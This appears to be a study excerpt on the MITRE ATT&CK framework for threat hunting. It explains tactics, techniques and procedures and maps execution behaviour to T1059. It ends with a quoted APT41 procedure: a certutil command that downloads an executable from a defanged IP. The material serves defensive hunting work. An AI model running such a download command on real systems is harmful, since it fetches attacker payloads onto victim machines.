MITRE ATT&CK is a knowledge base and framework for organizing adversary tactics, techniques, subtechniques, and procedures from observed behavior. Threat hunters use it to form hunting hypotheses and create security-monitoring detection rules. section 2.6
Use the ATT&CK hierarchy to connect adversary goals with observable behavior:
- Tactics describe why an adversary acts, such as pursuing credential access or exfiltrating data. section 2.6
- Techniques describe how an adversary achieves a tactical goal, such as dumping credentials. section 2.6
- Subtechniques describe more specific forms of a technique, such as PowerShell or Windows Command Shell under Command and Scripting Interpreter. section 2.6
- Procedures capture specific implementations used by adversaries for techniques or subtechniques. section 2.6
ATT&CK provides matrices for Enterprise, Mobile, Industrial Control Systems, and Containers. Its content is updated over time, giving threat-hunting teams a shared structure for mapping scenarios, data sources, and monitoring logic. section 2.0 section 2.6
Command and Scripting Interpreter
A threat-hunting play can map execution behavior to T1059, then refine it to T1059.001 for PowerShell or T1059.003 for Windows Command Shell. This turns a broad scenario into specific behaviors to investigate. section 2.6
Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe
Inspect a concrete procedure example showing APT41 using certutil to download an executable. section 2.6
